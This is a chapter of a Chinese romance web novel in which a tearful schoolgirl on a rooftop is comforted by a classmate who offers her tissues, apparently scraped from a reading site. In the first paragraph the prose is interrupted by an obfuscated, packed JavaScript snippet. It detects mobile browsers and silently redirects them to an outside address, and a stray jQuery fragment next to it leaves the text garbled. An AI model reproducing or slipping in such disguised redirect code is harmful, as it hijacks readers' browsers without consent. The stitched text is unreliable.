她倚着斑驳的水泥墙慢慢地滑坐下去,只剩她一个人了,那个强撑了好些天的坚硬外壳终于在霞光里寸寸碎裂,她蜷起双腿,将脑袋埋进膝盖里,眼泪来得汹涌,大颗大颗地滚落,有风吹来将她的发丝吹得凌乱,让她看起来更像一片被风卷到墙角的落叶。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322101|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她的思绪太过混乱,以至于没听见铁门被人轻轻推开发出的一声“咯吱”响。 不知过了多久,她终于将堵在心口的悲痛发泄完,哭声渐渐变小直至停歇,她抬起头,眼眶通红,脸庞被泪水糊了一脸,湿湿咸咸的,还有两缕发丝顽强地贴在颊侧,任凭风怎么吹也不肯下去。 有点狼狈。 于听眠想要去掏纸巾擦一下,但发现平时放在口袋里的纸巾用完了新的没带,她又试图用手背去抹,却发现手背也是湿的。 于听眠:“……” 不仅狼狈还有点倒霉。 “或许你现在需要这个?” 正当她思考让风风干泪水的可行性,一包未拆封的手帕纸出现在她眼前。 她仰头,顺着那只修长的手往上看去,撞进了一双柔和的眼睛里。 于听眠呆住了,她完全不知道谢惊洛是什么时候来的,来这里多久了,她的脑袋转得很慢,理不清状况,只愣愣地盯着他。 “刚来不久,教室里有点闷,上来透透气。”谢惊洛看出她的疑惑,解释着半蹲下来,同她平视,将手帕纸往她手中递近了些,又问了一遍:“需要这个吗?” “需、需要的,谢谢……”于听眠伸出手,指尖不经意间触到他微热的手心,她下意识地蜷了蜷手指。 等她接过纸巾,谢惊洛放下手,神情平静无波,像是没有注意到这些无关紧要的细枝末节。 他站起身,转身看向远方的楼群,给于听眠独自整理仪容和情绪的时间。 于听眠抽出一张纸巾摊开捂在脸上,鼻尖上萦绕着淡淡的茉莉花香,她胡乱地擦拭几下,将残留的泪渍擦拭干净。 她拿下纸巾,转头,视线落在谢惊洛的身上。她看了好一会儿,然后用手撑着地面站了起来。 谢惊洛听见身后的动静,回过头。 于听眠见他看着自己,觉得气氛有些太过安静了,直觉要说点什么,于是她想到什么说什么,胡言乱语脱口而出:“我、我数学联考卷有道题解不出来……” …… 话一说出去她就后悔了。 这算什么?结合以下情景算她解不出题然后跑到天台上哭吗?! 残余的伤感这下真是彻彻底底全部褪去,于听眠脸上火辣辣的,觉得脸面丢尽,垂下眼不敢再看面前的人。 谢惊洛看了她一会儿,笑了声:“是吗?” 于听眠心如死灰:“嗯。” “这样啊……”谢惊洛轻轻皱眉,露出一点苦恼的模样,好似在思考一个很严肃的问题,但下一秒,他的声音又染上点笑意,“那问题不大。” “嗯嗯。” 于听眠现在只想快点把这个话题揭过去,不管他说什么都连连点头。 谢惊洛见好就收,不再逗她,看了眼远处的天色,说:“晚测快要开始了,先下去吧。” “好。” 谢惊洛率先朝铁门走去,于听眠像条小尾巴一样尾随着他。 天边的云开始散了,晚霞也开始褪色,在最炽热的燃烧过后,余烬留下了一整片的温柔。 好像还有什么没说。 “谢惊洛。”于听眠叫住他。 等谢惊洛回头,她很认真地说:“谢谢你。” 有人笑意阑珊,比余烬更胜一筹。 “不客气。”